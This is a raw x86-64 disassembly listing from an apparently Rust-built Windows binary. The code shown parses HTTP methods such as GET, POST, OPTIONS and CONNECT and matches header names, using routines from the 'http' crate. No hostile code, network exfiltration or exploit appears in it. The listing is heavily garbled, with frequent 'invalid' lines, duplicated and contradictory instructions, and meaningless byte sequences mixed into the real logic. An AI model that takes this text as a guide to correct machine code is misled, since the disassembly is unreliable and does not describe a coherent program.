invalid
cmp byte [rcx + 0xa], 0x72
jne case.0x14002f51e.103
or dh, byte [rdx + 0xf]
jb 0x1400313c4
test dword [rdi - 0x7ffffffe], ecx
jns 0x1400313c8
cmp byte [rcx + 0xb], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
mov al, 0x11
mov dl, 0x6c
mov r8d, 0xc
mov eax, 0xc
jmp 0x14002ec13
invalid
cmp byte [rcx + 3], 0x6e
jne case.0x14002f51e.103
add byte [rax + 0xf730479], al
test dword [rdx + 2], esp
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x2d
jne case.0x14002f51e.103
pop rax
add al, byte [rax]
invalid
pop rax
add al, byte [rax]
add byte [rax + 0xf700679], al
test dword [rsi + 2], ecx
cmp byte [rcx + 6], 0x70
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 7], 0x72
invalid
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x66
jne case.0x14002f51e.103
test dword [rax], esi
add al, byte [rax]
invalid
test dword [rax], esi
add al, byte [rax]
add byte [rax + 0xf650a79], al
cmp byte [rcx + 0xa], 0x65
invalid
cmp byte [rcx + 0xa], 0x65
jne case.0x14002f51e.103
or ah, byte [rbp + 0xf]
test dword [rsi], esp
add al, byte [rax]
add byte [rax + 0xf740b79], al
or esi, dword [rdi + rcx - 0x7b]
sbb al, 2
cmp byte [rcx + 0xb], 0x74
jne case.0x14002f51e.103
sbb al, 2
add byte [rax], al
or esi, dword [rdi + rcx - 0x7b]
sbb al, 2
add byte [rax], al
cmp byte [rcx + 0xc], 0x63
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xd], 0x68
jne case.0x14002f51e.103
or eax, 0x8850f68
add al, byte [rax]
add byte [rax + 0xf2d0e79], al
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0xf], 0x63
jne case.0x14002f51e.103
hlt
add dword [rax], eax
add byte [rax + 0xf6f1079], al
cmp byte [rcx + 0x10], 0x6f
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 0x11], 0x6e
invalid
test eax, esp
loopne 0x140031468
invalid
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f51e.103
sub eax, 0x1fe850f
add byte [rax], al
cmp byte [rcx + 0xf], 0x63
jne case.0x14002f51e.103
hlt
add dword [rax], eax
invalid
hlt
cmp byte [rcx + 0x10], 0x6f
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x11], 0x6e
jns 0x140031473
outsb dx, byte [rsi]
jne case.0x14002f51e.103
loopne 0x140031468
add byte [rax], al
add byte [rax + 0xf741279], al
test esi, edx
cmp byte [rcx + 0x12], 0x74
adc dh, byte [rdi + rcx - 0x7b]
invalid
jne case.0x14002f51e.103
add dword [rax], eax
add byte [rax + 0xf721379], al
test esp, ecx
int3
add dword [rax], eax
add byte [rax], al
cmp byte [rcx + 0x13], 0x72
jne case.0x14002f51e.103
int3
add dword [rax], eax
invalid
int3
add byte [rax + 0xf6f1479], al
cmp byte [rcx + 0x14], 0x6f
jne case.0x14002f51e.103
test edx, eax
add dword [rax], eax
add byte [rax + 0x416cb24e], dh
mov dl, 0x6c
mov r8d, 0x15
mov al, 0x4e
mov dl, 0x6c
mov r8d, 0x15
adc eax, 0xe9000000
jge 0x14003146b
jmp 0x14002ec13
invalid
cmp byte [rcx + 4], 0x61
jne case.0x14002f51e.103
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0xf6e0579], al
jns 0x1400314a8
outsb dx, byte [rsi]
jne case.0x14002f51e.103
invalid
jns 0x1400314b3
cmp byte [rcx + 5], 0x6e
jne case.0x14002f51e.103
jns 0x1400314a8
add byte [rax], al
cmp byte [rcx + 6], 0x67
jne case.0x14002f51e.103
jne case.0x14002f51e.103
add byte [rax + 0x4165b22a], dh
mov al, 0x2a
mov dl, 0x65
mov r8d, 7
mov eax, 7
mov eax, 7
jmp 0x14002ec13
cmp byte [rcx + 4], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x73
jne case.0x14002f51e.103
mov al, 0x39
mov dl, 0x68
mov r8d, 6
jmp 0x14002ec13
cmp byte [rcx + 8], 0x61
jne case.0x14002f51e.103
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rax + 0xf6e0979], al
test dword [rdi + 1], ecx
add byte [rax], al
cmp byte [rcx + 9], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x67
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x75
jne case.0x14002f51e.103
test dword [rbx], edi
add dword [rax], eax
invalid
test dword [rbx], edi
add dword [rax], eax
add byte [rax + 0xf610c79], al
test dword [rcx], esi
cmp byte [rcx + 0xc], 0x61
jne case.0x14002f51e.103
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0xf670d79], al
cmp byte [rcx + 0xd], 0x67
jne case.0x14002f51e.103
test dword [rdi], esp
add dword [rax], eax
add byte [rax + 0x4165b203], dh
mov r8d, 0xe
mov al, 3
mov dl, 0x65
mov r8d, 0xe
mov r8d, 0xe
jmp 0x14002ec13
loop 0x140031505
movzx edx, byte [rcx + 9]
cmp edx, 0x61
je 0x140031584
cmp edx, 0x6f
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x61
jne case.0x14002f51e.103
test edx, esi
add byte [rax], al
add byte [rax + 0xf740c79], al
add byte [rax], al
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
jns 0x140031566
je 0x14003156b
test eax, ebp
add byte [rax], al
add byte [rax + 0xf690d79], al
cmp byte [rcx + 0xd], 0x69
invalid
call 0xc0031562
jns case.0x14002aeb1.85
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f51e.103
imul ecx, dword [rdi], 0xde85
test esi, ebx
add byte [rax], al
add byte [rax + 0xf6f0e79], al
test esp, edx
invalid
add byte [rax], al
add byte [rax + 0x416eb219], dh
mov eax, 0xf
add byte [rax], al
cmp byte [rcx + 0xe], 0x6f
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
invalid
mov al, 0x19
mov dl, 0x6e
mov r8d, 0xf
add byte [rax], al
add byte [rax], al
jmp 0x14002ec13
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f51e.103
jne 0x1400315ac
test dword [rdi - 0x80000000], esp
jns 0x1400315b2
invalid
add byte [rax], al
add byte [rax + 0xf670e79], al
test dword [rbx - 0x50000000], edx
invalid
cmp byte [rcx + 0xe], 0x67
jne case.0x14002f51e.103
xchg ebx, eax
add byte [rax], al
add byte [rax + 0x4165b217], dh
mov eax, 0xf
mov al, 0x17
mov dl, 0x65
mov r8d, 0xf
jmp 0x14002ec13
invalid
cmp byte [rcx + 0x10], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x11], 0x71
jne case.0x14002f51e.103
jno 0x140031645
js 0x140031552
cmp byte [rcx + 0x12], 0x75
jne case.0x14002f51e.103
jns 0x1400315e6
jne 0x14003164b
jb 0x140031558
cmp byte [rcx + 0x13], 0x65
jne case.0x14002f51e.103
jns 0x1400315ed
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 0x15], 0x74
jne case.0x14002f51e.103
invalid
je 0x14003165d
invalid
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0x17], 0x6d
jne case.0x14002f51e.103
cmp byte [rcx + 0x18], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x19], 0x74
jne case.0x14002f51e.103
jns case.0x14001a36d.1402
je 0x140031675
cmp byte [rcx + 0x1a], 0x68
cmp byte [rcx + 0x1a], 0x68
jne case.0x14002f51e.103
cmp byte [rcx + 0x1b], 0x6f
jne case.0x14002f51e.103
mov al, 0xc
mov dl, 0x64
mov r8d, 0x1c
jmp 0x14002ec13
inc dword [rax + 0x75651679]
invalid
cmp byte [rcx + 0x16], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x17], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0x18], 0x68
jne case.0x14002f51e.103
cmp byte [rcx + 0x19], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 0x1a], 0x64
jne case.0x14002f51e.103
jne case.0x14002f51e.103
mov al, 7
mov dl, 0x73
mov r8d, 0x1b
jmp 0x14002ec13
retf 0xffd5
ret
int3
int3
push rdi
push rbx
sub rsp, 0x68
mov rdi, r8
mov rsi, rcx
mov esi, ecx
cmp r8, 0x40
ja 0x14003167c
lea rcx, [rdi - 1]
mov eax, edi
and eax, 3
dec dword [rcx + 0x3e083f8]
cmp rcx, 3
cmp ecx, 3
jae 0x1400316b4
xor r10d, r10d
xor edx, edx
jmp 0x14003171b
cmp rdi, 0x10000
jae 0x1400316a8
and esi, dword [rcx]
ror byte [rax - 0x73], 0xd
lea rcx, [0x14012608e]
nop
xor eax, eax
lea rcx, [0x14012608e]
nop
cmp rdi, rax
je case.0x14002ebfe.153
movzx r8d, byte [rdx + rax]
inc rax
inc eax
inc eax
rol byte [rcx - 0x80], 0x3c
or byte [rax], al
cmp byte [r8 + rcx], 0
cmp al, 8
add byte [rbp - 0x18], dh
jne 0x140031690
mov qword [rsi], 1
jmp 0x1400318e3
mov ecx, edi
and ecx, 0x7c
xor r9d, r9d
lea r8, [0x14012608e]
retf
verr word [r14 + 0x66]
nop word cs:[rax + rax]
retf
movzx r10d, byte [rdx + r9]
adc al, 0xa
movzx r10d, byte [r10 + r8]
mov byte [rsp + r9 + 0x28], r10b
mov byte [rsp + rcx + 0x28], dl
mov byte [rsp + rcx + 0x28], dl
movzx r10d, byte [rdx + r9 + 1]
movzx edx, byte [rdx + rcx + 1]
movzx r10d, byte [r10 + r8]
mov byte [rsp + r9 + 0x29], r10b
movzx r10d, byte [rdx + r9 + 2]
movzx r10d, byte [r10 + r8]
mov byte [rsp + r9 + 0x2a], r10b
push rsp
or al, 0x2a
push rsp
or al, 0x2a
lea r10, [r9 + 4]
movzx r11d, byte [rdx + r9 + 3]
movzx ebx, byte [rdx + rcx + 3]
movzx r11d, byte [r11 + r8]
mov byte [rsp + r9 + 0x2b], r11b
mov dh, 0x1c
add eax, dword [rsi - 0x78]
pop rsp
or al, 0x2b
mov r9, r10
cmp rcx, r10
cmp ecx, edx
cmp ecx, edx
sal dword [rbp - 0x4b], 1
jne case.0x14002aeb1.207
test rax, rax
je 0x140031756
lea rcx, [rsp + r10]
add rcx, 0x28
add rdx, r10
xor r8d, r8d
lea r9, [0x14012608e]
verr word [rsi + 0x66]
nop dword cs:[rax + rax]
verr word [rsi + 0x66]
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
add byte [rsi + 0xf], al
mov dh, 0x14
add al, byte [rdi + 0xf]
mov dh, 0x14
adc al, 0xa
mov byte [rcx + r8], r10b
movzx r10d, byte [rdx + r8]
movzx r10d, byte [r10 + r9]
adc al, 0xa
adc al, 0xa
mov byte [rcx + r8], r10b
inc r8
cmp rax, r8
jne 0x140031740
lea rbx, [rsp + 0x28]
mov rcx, rbx
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.14002ebe0
cmp al, 0x51
push rcx
invalid
push rcx
jne 0x140031798
cmp rdi, 0xf
ja 0x1400317d3
xor eax, eax
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
cmp byte [rsp + rax + 0x28], 0
sub byte [rax], al
je 0x1400316a8
inc rax
cmp rdi, rax
invalid
jne 0x140031780
invalid
jmp 0x140031883
mov qword [rsi + 8], 0
mov byte [rsi + 0x10], al
jmp 0x1400318dc
add byte [rax + 0x34e91046], cl
add dword [rax], eax
add byte [rcx - 0x77], cl
mov r14, rdx
mov r14, rdx
movzx eax, byte [0x14017d2b0]
mov dh, 5
invalid
mov edx, 0xc9310014
mov rdx, rdi
call fcn.1400e0010
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub byte [rcx], al
add byte [rax], al
mov dh, 5
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub byte [rcx], al
add byte [rax], al
mov rbx, rax
mov rcx, rax
mov rdx, r14
jmp 0x1400318a4
rol dword [rax], 1
add byte [rax], al
lea rax, [rsp + 0x2f]
and rax, 0xfffffffffffffff8
sub rax, rbx
jne case.0x14002aeb1.209
lea rcx, [rdi - 0x10]
xor eax, eax
invalid
invalid
movdqa xmm0, xmmword [0x14010f730]
movabs rdx, 0x8080808080808080
invalid
fisttp word [0xc0bd5ff2]
add byte [rax - 0x7f7f7f80], 0x80
invalid
or byte [rdi], 0x1f
add byte [rax], 0
add byte [rax], al
nop dword [rax]
movdqu xmm1, xmmword [rsp + rax + 0x28]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
jo 0x1400317e7
out dx, al
por xmm2, xmm1
movq r8, xmm2
test r8, rdx
jne 0x14003185c
invalid
ror byte [rcx - 0x7b], 1
sal byte [rbp + 0x37], 1
invalid
invalid
add rax, 0x10
cmp rax, rcx
jbe case.0x14002a5ba.221
jmp 0x14003185c
cmp rax, rdi
cmovae rax, rdi
xor ecx, ecx
nop dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rsp + rcx + 0x28], 0
je 0x1400316a8
inc rcx
cmp rax, rcx
jne 0x140031840
lea rcx, [rdi - 0x10]
cmp rax, rcx
jbe 0x1400317e7
cmp rax, rdi
je 0x140031883
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp byte [rsp + rax + 0x28], 0
je 0x1400316a8
inc rax
cmp rdi, rax
cmp edi, eax
cmp edi, eax
jne 0x140031870
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rdi
call fcn.1400e0010
test rax, rax
je 0x1400318ed
mov rbx, rax
lea rdx, [rsp + 0x28]
mov rcx, rax
mov r8, rdi
clc
call sub.VCRUNTIME140.dll_memcpy
mov rax, rbx
or rax, 1
invalid
add byte [rax - 0x77], cl
fmul dword [rax - 0x7d]
enter 0xfffffffffffff601, 0xffffffffffffffc3
test bl, 1
cmovne rax, rbx
test bl, 1
cmovne rax, rbx
lea rcx, [0x140126040]
add byte [rax - 0x73], cl
adc eax, 0xf4790
add byte [rax - 0x73], cl
adc eax, 0xf4790
nop
str word [r8 + 0xf]
ror dword [rax - 0x77], 1
mov dword [rsi + 8], edx
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rdi
cmove rdx, rcx
mov qword [rsi + 8], rdx
mov dword [rsi + 8], edx
mov dword [rsi + 8], edx
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x20], rax
and byte [rax - 0x39], r9b
invalid
mov qword [rsi], 0
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, 1
add byte [rax], al
mov rdx, rdi
cli
call fcn.140104360
int3
mov eax, ecx
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r9
mov dword [rcx + 0x10], ecx
mov dword [rcx + 0x10], ecx
mov qword [rcx + 0x18], 0
lea rcx, [0x140126028]
sbb byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xf470e
mov qword [rax], rcx
mov dword [rax], ecx
ret
mov rax, qword [rax + 0x18]
lea rdx, str.InvalidHeaderNameinvalid_HTTP_header_nameInvalidHeaderValuefailed_to_parse_header_valueInvalidMethodinvalid_HTTP_methodC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcmethod.rs
mov r8d, 0x11
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
jmp rax
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xf484c
invalid
invalid
invalid
invalid
mov eax, dword [rax + 0x18]
lea rdx, [0x14012619f]
invalid
invalid
invalid
invalid
sldt word [rcx - 0x48]
sbb byte [rax], al
add byte [rax], al
mov r8d, 0x18
jmp rax
int3
mov eax, dword [rax + 0x18]
lea rdx, [0x1401261b7]
mov r8d, 0x12
add byte [rax], al
add byte [rax - 1], cl
invalid
add byte [rax], al
add byte [rax - 1], cl
loopne 0x140031949
int3
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xf4836
sldt word [rcx - 0x48]
sbb al, 0
add byte [rax], al
sldt word [rcx - 0x48]
sbb al, 0
add byte [rax], al
jmp rax
int3
push rbp
push rbx
sub rsp, 0x68
cmp r8, 7
ja case.0x1400319c8.1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1418e3
lea rax, [0x1401732a4]
movsxd r9, dword [rax + r8*4]
add r9, rax
or byte [rcx + 1], 0xc1
jmp r9
movzx eax, byte [rdx]
cmp eax, 0x47
je 0x140031df7
cmp eax, 0x50
jne 0x140031e0b
add byte [rax], al
add byte [rax], al
cmp byte [rdx + 1], 0x55
jne 0x140031e0b
cmp byte [rdx + 2], 0x54
jp 0x1400319ef
push rsp
jne 0x140031e0b
test dword [rdi], edx
add al, 0
add dh, al
add dword [rbx], eax
mov byte [rcx], 3
jmp 0x140032357
pop rbx
or dword [rax], eax
add byte [rdi], cl
movzx eax, byte [rdx]
movzx eax, byte [rdx]
cmp eax, 0x48
je case.0x14001e2cd.462
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbx - 0x7af0af08], al
cwde
add al, byte [rax]
add byte [rax + 0xf4f017a], al
jp 0x140031a15
jne 0x140031ca9
invalid
jp 0x140031a20
cmp eax, 0x50
jne 0x140031ca9
cmp byte [rdx + 1], 0x4f
jp 0x140031a15
jne 0x140031ca9
jne 0x140031ca9
cmp byte [rdx + 2], 0x53
push rbx
jne 0x140031ca9
test dword [rdx + rax + 0x7a800000], eax
add edx, dword [rdi + rcx - 0x7b]
jp 0x140031a2f
invalid
cmp byte [rdx + 3], 0x54
jne 0x140031ca9
add al, byte [rax]
invalid
add al, byte [rax]
add dh, al
add dword [rdx], eax
add byte [rax], al
mov byte [rcx], 2
jmp 0x140032357
movzx eax, byte [rdx]
cmp eax, 0x43
je 0x140031d1d
add al, byte [rbx - 0x7bf0bc08]
fiadd dword [rdx]
add byte [rax], al
cmp eax, 0x4f
jne 0x140031d49
cmp byte [rdx + 1], 0x50
jne 0x140031d49
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0xf54027a], al
test ecx, ebp
add al, byte [rax]
add byte [rax + 0xf49037a], al
cmp byte [rdx + 3], 0x49
jne 0x140031d49
cmp byte [rdx + 4], 0x4f
jne 0x140031d49
cmp byte [rdx + 5], 0x4e
jne 0x140031d49
retf
add al, byte [rax]
add byte [rax + 0xf53067a], al
test ecx, eax
add al, byte [rax]
cmp byte [rdx + 2], 0x54
jne 0x140031d49
cmp byte [rdx + 3], 0x49
jne 0x140031d49
cmp byte [rdx + 4], 0x4f
jne 0x140031d49
jne 0x140031d49
cmp byte [rdx + 5], 0x4e
jne 0x140031d49
retf
add al, byte [rax]
invalid
retf
cmp byte [rdx + 6], 0x53
jne 0x140031d49
invalid
add dh, al
add dword [rax], eax
mov byte [rcx], 0
jmp 0x140032357
cmp r8, 0xf
jae 0x140031c25
test r8, r8
je 0x140031f2f
add byte [rax], al
add byte [rax], al
movzx eax, byte [rdx]
lea r12, [0x140126280]
movzx eax, byte [rax + r12]
movzx eax, byte [rax + riz]
movzx eax, byte [rax + riz]
mov dword [rsp + 0x64], eax
test al, al
je case.0x1400319c8.0
or byte [rax], al
invalid
or byte [rax], al
add byte [rcx - 0x7d], cl
clc
add dword [rdi], ecx
test byte [rdi + 4], ch
add byte [rax], al
cmp r8, 1
je 0x140031f37
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r12]
test r9b, r9b
je case.0x1400319c8.0
mov dword [rsp + 0x24], r9d
cmp r8, 2
clc
add cl, byte [rdi]
test eax, eax
add al, 0
invalid
clc
add cl, byte [rdi]
test eax, eax
add al, 0
add byte [rcx], dh
test byte [rbp + 0x31], 0xd2
xor esi, esi
xor r10d, r10d
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
add byte [rax], al
add byte [rax], al
xor eax, eax
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov ebx, dword [rsp + 0x24]
jmp 0x140031f5d
invalid
add byte [rdi], cl
mov dh, 2
movzx eax, byte [rdx]
cmp eax, 0x50
je 0x140031e68
cmp eax, 0x54
jne 0x140031e88
cmp byte [rdx + 1], 0x52
jne 0x140031e88
cmp byte [rdx + 2], 0x41
jne 0x140031e88
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax + 0xf43037a], al
test dword [rsi], edi
add eax, dword [rax]
add byte [rax + 0xf45047a], al
cmp byte [rdx + 4], 0x45
jne 0x140031e88
cmp byte [rdx + 3], 0x43
jne 0x140031e88
cmp byte [rdx + 4], 0x45
jne 0x140031e88
mov byte [rcx], 6
jmp 0x140032357
movzx eax, byte [rdx]
cmp rax, 0x44
jne 0x140031b8b
invalid
cmp byte es:[rdx + 1], 0x45
cmp byte [rdx + 1], 0x45
jne 0x140031b8b
cmp byte [rdx + 2], 0x4c
jne 0x140031b8b
add cl, byte [rbp + rsi*2 + 0x1a]
cmp byte [rdx + 3], 0x45
jne 0x140031b8b
cmp byte [rdx + 4], 0x54
push rsp
jne 0x140031b8b
cmp byte [rdx + 5], 0x45
jne 0x140031b8b
mov byte [rcx], 4
jmp 0x140032357
int3
invalid
add byte [rax], al
int3
lea r8, [0x140126280]
movzx eax, byte [rax + r8]
movzx eax, byte [rax + rax]
movzx eax, byte [rax + rax]
test al, al
je case.0x1400319c8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400319c8.0
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400319c8.0
movzx r11d, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
test r11b, r11b
je case.0x1400319c8.0
movzx esi, byte [rdx + 4]
movzx ebx, byte [rsi + r8]
test bl, bl
je case.0x1400319c8.0
movzx edx, byte [rdx + 5]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400319c8.0
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], r11b
mov byte [rcx + 5], bl
mov byte [rcx + 6], dl
mov qword [rcx + 7], 0
mov word [rcx + 0xf], 0x600
jmp 0x140032357
test r8, r8
js 0x14003229c
mov rdi, rdx
mov rbx, rcx
mov ecx, 8
mov rsi, r8
mov rdx, r8
call fcn.1400e0010
test rax, rax
je 0x1400322a1
xor ecx, ecx
lea r8, [0x140126280]
mov rdx, rbx
fimul dword [rdi]
invalid
add byte [rax], 0
add byte [rax], al
fimul dword [rdi]
invalid
movzx r9d, byte [rdi + rcx]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je 0x140031f12
mov byte [rax + rcx], r9b
mov byte [rax + rcx], cl
inc rcx
cmp rsi, rcx
jne 0x140031c60
mov byte [rdx], 0xa
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rsi
jmp 0x140032357
cmp byte [rdx + 1], 0x45
jne 0x140031ca9
cmp byte [rdx + 2], 0x41
jne 0x140031ca9
jne 0x140031ca9
cmp byte [rdx + 3], 0x44
jne 0x140031ca9
or dh, al
add dword [0x14009cb91], eax
add byte [rbp + rcx*4 + 5], cl
lea eax, [0x140126280]
invalid
invalid
mov dh, 4
invalid
mov byte [rcx], 5
jmp 0x140032357
lea r8, [0x140126280]
lea eax, [0x140126280]
add eax, 0xf45d0
movzx eax, byte [rax + r8]
add al, 0
add byte [rax + rax*8 + 0x697840f], al
add byte [rax], al
test al, al
je case.0x1400319c8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
invalid
add dword [rbp - 0x7c], eax
leave
test r9b, r9b
je case.0x1400319c8.0
add byte [rdi + rcx - 0x4a], al
push rdx
add al, byte [rdi + 0xf]
invalid
mov dh, 0x14
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
movzx edx, byte [rdx + rax]
movzx edx, byte [rdx + rax]
add al, byte [rbp - 0x7c]
ror byte [rdi], cl
test byte [rcx + 6], dh
add byte [rax], al
invalid
test r10b, r10b
je case.0x1400319c8.0
invalid
add byte [rdi], cl
mov dh, 0x52
add eax, dword [rdx + 0xf]
mov dh, 0x14
movzx edx, byte [rdx + 3]
movzx edx, byte [rdx + r8]
add al, byte [rdx + rdx*8 + 0x660840f]
add byte [rax], al
add al, byte [rdx + rdx*8 + 0x660840f]
add byte [rax], al
add dh, al
add dword [rcx], ecx
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], dl
add al, byte [r8 + rcx*4 + 0x51]
add ecx, dword [rax - 0x38b7fbaf]
add eax, 0
mov qword [rcx + 5], 0
mov dword [rcx + 0xc], 0
mov byte [rcx + 0x10], 4
jmp 0x140032357
or al, 0
add byte [rax], al
add dh, al
adc byte [r9 + rbp*8], al
add al, 0xe9
cmp al, byte [rsi]
add byte [rax], al
cmp byte [rdx + 1], 0x4f
jne 0x140031d49
cmp byte [rdx + 2], 0x4e
jne 0x140031d49
cmp byte [rdx + 3], 0x4e
jne 0x140031d49
cmp byte [rdx + 4], 0x45
jne 0x140031d49
cmp byte [rdx + 5], 0x43
jne 0x140031d49
invalid
cmp byte [rdx + 6], 0x54
jne 0x140031d49
mov byte [rcx], 7
jmp 0x140032357
lea r8, [0x140126280]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400319c8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400319c8.0
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400319c8.0
movzx r11d, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
test r11b, r11b
je case.0x1400319c8.0
movzx esi, byte [rdx + 4]
movzx ebx, byte [rsi + r8]
test bl, bl
je case.0x1400319c8.0
movzx esi, byte [rdx + 5]
movzx esi, byte [rsi + r8]
test sil, sil
je case.0x1400319c8.0
movzx edx, byte [rdx + 6]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400319c8.0
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], r11b
mov byte [rcx + 5], bl
mov byte [rcx + 6], sil
mov byte [rcx + 7], dl
mov qword [rcx + 8], 0
mov byte [rcx + 0x10], 7
jmp 0x140032357
cmp byte [rdx + 1], 0x45
jne 0x140031e0b
cmp byte [rdx + 2], 0x54
jne 0x140031e0b
mov byte [rcx], 1
jmp 0x140032357
lea r8, [0x140126280]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400319c8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400319c8.0
movzx edx, byte [rdx + 2]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400319c8.0
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], dl
mov qword [rcx + 4], 0
mov dword [rcx + 0xc], 0
mov byte [rcx + 0x10], 3
jmp 0x140032357
cmp byte [rdx + 1], 0x41
jne 0x140031e88
cmp byte [rdx + 2], 0x54
jne 0x140031e88
cmp byte [rdx + 3], 0x43
jne 0x140031e88
cmp byte [rdx + 4], 0x48
jne 0x140031e88
mov byte [rcx], 8
jmp 0x140032357
lea r8, [0x140126280]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400319c8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400319c8.0
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400319c8.0
movzx r11d, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
test r11b, r11b
je case.0x1400319c8.0
movzx edx, byte [rdx + 4]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400319c8.0
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], r11b
mov byte [rcx + 5], dl
mov qword [rcx + 6], 0
mov word [rcx + 0xe], 0
mov byte [rcx + 0x10], 5
jmp 0x140032357
mov rcx, qword [0x14017d208]
mov rsi, rdx
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi], 0xb
jmp 0x140032357
mov dword [rsp + 0x64], 0
xor ebx, ebx
xor esi, esi
xor r10d, r10d
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
xor eax, eax
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov byte [rcx], 9
mov r14d, dword [rsp + 0x64]
mov byte [rcx + 1], r14b
mov byte [rcx + 2], bl
mov byte [rcx + 3], sil
mov byte [rcx + 4], r10b
mov byte [rcx + 5], dil
mov byte [rcx + 6], r9b
mov byte [rcx + 7], dl
